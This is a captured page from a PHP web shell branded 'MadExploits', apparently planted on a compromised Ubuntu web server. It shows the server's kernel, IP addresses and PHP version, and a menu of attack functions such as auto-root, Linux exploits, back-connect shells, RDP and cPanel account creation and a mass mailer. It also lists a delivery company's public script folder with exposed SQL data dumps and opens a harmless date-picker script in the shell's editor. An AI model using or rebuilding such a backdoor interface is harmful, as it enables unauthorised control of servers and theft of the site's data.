Linux ip-172-31-29-64 6.8.0-1050-aws #53~22.04.1-Ubuntu SMP Fri Mar 13 21:34:27 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
: 172.31.29.64 | : 216.73.216.137
Cant Read [ /etc/named.conf ]
5.6.40-77+ubuntu22.04.1+deb.sury.org+1
ubuntu
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
dashboard.maalgaadi /
public /
script /
[ HOME SHELL ]
Name
Size
Permission
Action
SweetAlert.js
1.02
KB
-rwxrwxr-x
angular-cookies.min.js
1.41
KB
-rwxrwxr-x
angular-password.min.js
818
B
-rwxrwxr-x
angular-sanitize.min.js
4.45
KB
-rwxrwxr-x
angular-sanitize.min.js.map
9.87
KB
-rwxrwxr-x
angular-touch.min.js
3.22
KB
-rwxrwxr-x
angular-touch.min.js.map
8.55
KB
-rwxrwxr-x
angularjs-datetime-picker.js
15.68
KB
-rwxrwxr-x
animation.js
318
B
-rwxrwxr-x
bootstrap-hover-dropdown.js
3.14
KB
-rwxrwxr-x
bootstrap.min.js
28.43
KB
-rwxrwxr-x
charts-chartjs.js
4.01
KB
-rwxrwxr-x
charts-flotchart.js
13.45
KB
-rwxrwxr-x
charts-highchart-area.js
14.85
KB
-rwxrwxr-x
charts-highchart-column-bar.js
15.11
KB
-rwxrwxr-x
charts-highchart-combinations....
8.05
KB
-rwxrwxr-x
charts-highchart-dynamic.js
21.67
KB
-rwxrwxr-x
charts-highchart-line.js
26.61
KB
-rwxrwxr-x
charts-highchart-more.js
34.27
KB
-rwxrwxr-x
charts-highchart-pie.js
9.13
KB
-rwxrwxr-x
charts-highchart-scatter-bubbl...
13.41
KB
-rwxrwxr-x
custom.min.js
2.08
KB
-rwxrwxr-x
data.js
4.34
KB
-rwxrwxr-x
datePicker.js
10.19
KB
-rwxrwxr-x
datePickerUtils.js
7.2
KB
-rwxrwxr-x
dateRange.js
2.52
KB
-rwxrwxr-x
datetime-picker.min.js
14.95
KB
-rwxrwxr-x
drilldown.js
5.47
KB
-rwxrwxr-x
driver_wallet.sql
1.95
KB
-rwxrwxr-x
drivers.sql
223.22
KB
-rwxrwxr-x
exporting.js
7.15
KB
-rwxrwxr-x
funnel.js
1.92
KB
-rwxrwxr-x
highchart.js
142.95
KB
-rwxrwxr-x
highcharts-more.js
21.87
KB
-rwxrwxr-x
highcharts.js
148.69
KB
-rwxrwxr-x
holder.js
12.13
KB
-rwxrwxr-x
html5shiv.js
2.37
KB
-rwxrwxr-x
icheck.min.js
4.82
KB
-rwxrwxr-x
index.js
5.5
KB
-rwxrwxr-x
input.js
8.15
KB
-rwxrwxr-x
jplist.js
6.65
KB
-rwxrwxr-x
jplist.min.js
89.67
KB
-rwxrwxr-x
jquery-1.10.2.min.js
90.92
KB
-rwxrwxr-x
jquery-migrate-1.2.1.min.js
7.03
KB
-rwxrwxr-x
jquery-ui.js
580.51
KB
-rwxrwxr-x
jquery.cookie.js
2.99
KB
-rwxrwxr-x
jquery.easy-autocomplete.min.j...
15.45
KB
-rwxrwxr-x
jquery.flot.categories.js
5.89
KB
-rwxrwxr-x
jquery.flot.fillbetween.js
5.13
KB
-rwxrwxr-x
jquery.flot.js
96.53
KB
-rwxrwxr-x
jquery.flot.pie.js
23.06
KB
-rwxrwxr-x
jquery.flot.resize.js
3.1
KB
-rwxrwxr-x
jquery.flot.spline.js
5.3
KB
-rwxrwxr-x
jquery.flot.stack.js
6.92
KB
-rwxrwxr-x
jquery.flot.tooltip.js
13
KB
-rwxrwxr-x
jquery.menu.js
2.06
KB
-rwxrwxr-x
jquery.metisMenu.js
1.54
KB
-rwxrwxr-x
jquery.nestable.js
17.54
KB
-rwxrwxr-x
jquery.news-ticker.js
22.79
KB
-rwxrwxr-x
jquery.slimscroll.js
13.22
KB
-rwxrwxr-x
logo.png
80.25
KB
-rwxrwxr-x
main.js
12.29
KB
-rwxrwxr-x
modernizr.min.js
15.05
KB
-rwxrwxr-x
moment-timezone-with-data.js
183.64
KB
-rwxrwxr-x
moment.min.js
34.58
KB
-rwxrwxr-x
ngPrint.min.js
610
B
-rwxrwxr-x
notify.js
21
KB
-rwxrwxr-x
notify.min.js
887
B
-rwxrwxr-x
oms.min.js
7.06
KB
-rwxrwxr-x
pace.min.js
11.77
KB
-rwxrwxr-x
respond.min.js
3.95
KB
-rwxrwxr-x
responsive-tabs.js
4.86
KB
-rwxrwxr-x
socket.io.js
72.91
KB
-rwxrwxr-x
sweet-alert.min.js
9.5
KB
-rwxrwxr-x
ui-bootstrap-tpls.js
252.48
KB
-rwxrwxr-x
ui-nestable-list.js
1.13
KB
-rwxrwxr-x
zabuto_calendar.min.js
9.41
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : datePickerUtils.js
'use strict'; angular.module('datePicker').factory('datePickerUtils', function () { var tz, firstDay; var createNewDate = function (year, month, day, hour, minute) { var utc = Date.UTC(year | 0, month | 0, day | 0, hour | 0, minute | 0); return tz ? moment.tz(utc, tz) : moment(utc); }; return { getVisibleMinutes: function (m, step) { var year = m.year(), month = m.month(), day = m.date(), hour = m.hours(), pushedDate, offset = m.utcOffset() / 60, minutes = [], minute; for (minute = 0; minute < 60; minute += step) { pushedDate = createNewDate(year, month, day, hour - offset, minute); minutes.push(pushedDate); } return minutes; }, getVisibleWeeks: function (m) { m = moment(m); var startYear = m.year(), startMonth = m.month(); //Set date to the first day of the month m.date(1); //Grab day of the week var day = m.day(); //Go back the required number of days to arrive at the previous week start m.date(firstDay - (day + (firstDay >= day ? 6 : -1))); var weeks = []; while (weeks.length < 6) { if (m.year() === startYear && m.month() > startMonth) { break; } weeks.push(this.getDaysOfWeek(m)); m.add(7, 'd'); } return weeks; }, getVisibleYears: function (d) { var m = moment(d), year = m.year(); m.year(year - (year % 10)); year = m.year(); var offset = m.utcOffset() / 60, years = [], pushedDate, actualOffset; for (var i = 0; i < 12; i++) { pushedDate = createNewDate(year, 0, 1, 0 - offset); actualOffset = pushedDate.utcOffset() / 60; if (actualOffset !== offset) { pushedDate = createNewDate(year, 0, 1, 0 - actualOffset); offset = actualOffset; } years.push(pushedDate); year++; } return years; }, getDaysOfWeek: function (m) { m = m ? m : (tz ? moment.tz(tz).day(firstDay) : moment().day(firstDay)); var year = m.year(), month = m.month(), day = m.date(), days = [], pushedDate, offset = m.utcOffset() / 60, actualOffset; for (var i = 0; i < 7; i++) { pushedDate = createNewDate(year, month, day, 0 - offset, 0, false); actualOffset = pushedDate.utcOffset() / 60; if (actualOffset !== offset) { pushedDate = createNewDate(year, month, day, 0 - actualOffset, 0, false); } days.push(pushedDate); day++; } return days; }, getVisibleMonths: function (m) { var year = m.year(), offset = m.utcOffset() / 60, months = [], pushedDate, actualOffset; for (var month = 0; month < 12; month++) { pushedDate = createNewDate(year, month, 1, 0 - offset, 0, false); actualOffset = pushedDate.utcOffset() / 60; if (actualOffset !== offset) { pushedDate = createNewDate(year, month, 1, 0 - actualOffset, 0, false); } months.push(pushedDate); } return months; }, getVisibleHours: function (m) { var year = m.year(), month = m.month(), day = m.date(), hours = [], hour, pushedDate, actualOffset, offset = m.utcOffset() / 60; for (hour = 0; hour < 24; hour++) { pushedDate = createNewDate(year, month, day, hour - offset, 0, false); actualOffset = pushedDate.utcOffset() / 60; if (actualOffset !== offset) { pushedDate = createNewDate(year, month, day, hour - actualOffset, 0, false); } hours.push(pushedDate); } return hours; }, isAfter: function (model, date) { return model && model.unix() >= date.unix(); }, isBefore: function (model, date) { return model.unix() <= date.unix(); }, isSameYear: function (model, date) { return model && model.year() === date.year(); }, isSameMonth: function (model, date) { return this.isSameYear(model, date) && model.month() === date.month(); }, isSameDay: function (model, date) { return this.isSameMonth(model, date) && model.date() === date.date(); }, isSameHour: function (model, date) { return this.isSameDay(model, date) && model.hours() === date.hours(); }, isSameMinutes: function (model, date) { return this.isSameHour(model, date) && model.minutes() === date.minutes(); }, setParams: function (zone, fd) { tz = zone; firstDay = fd; }, scopeSearch: function (scope, name, comparisonFn) { var parentScope = scope, nameArray = name.split('.'), target, i, j = nameArray.length; do { target = parentScope = parentScope.$parent; //Loop through provided names. for (i = 0; i < j; i++) { target = target[nameArray[i]]; if (!target) { continue; } } //If we reached the end of the list for this scope, //and something was found, trigger the comparison //function. If the comparison function is happy, return //found result. Otherwise, continue to the next parent scope if (target && comparisonFn(target)) { return target; } } while (parentScope.$parent); return false; }, findFunction: function (scope, name) { //Search scope ancestors for a matching function. return this.scopeSearch(scope, name, function (target) { //Property must also be a function return angular.isFunction(target); }); }, findParam: function (scope, name) { //Search scope ancestors for a matching parameter. return this.scopeSearch(scope, name, function () { //As long as the property exists, we're good return true; }); }, createMoment: function (m) { if (tz) { return moment.tz(m, tz); } else { //If input is a moment, and we have no TZ info, we need to remove TZ //info from the moment, otherwise the newly created moment will take //the timezone of the input moment. The easiest way to do that is to //take the unix timestamp, and use that to create a new moment. //The new moment will use the local timezone of the user machine. return moment.isMoment(m) ? moment.unix(m.unix()) : moment(m); } }, getDate: function (scope, attrs, name) { var result = false; if (attrs[name]) { result = this.createMoment(attrs[name]); if (!result.isValid()) { result = this.findParam(scope, attrs[name]); if (result) { result = this.createMoment(result); } } } return result; }, //Checks if an event targeted at a specific picker, via either a string name, or an array of strings. eventIsForPicker: function (targetIDs, pickerID) { function matches(id) { if (id instanceof RegExp) { return id.test(pickerID); } return id === pickerID; } if (angular.isArray(targetIDs)) { return targetIDs.some(matches); } return matches(targetIDs); } }; });
Close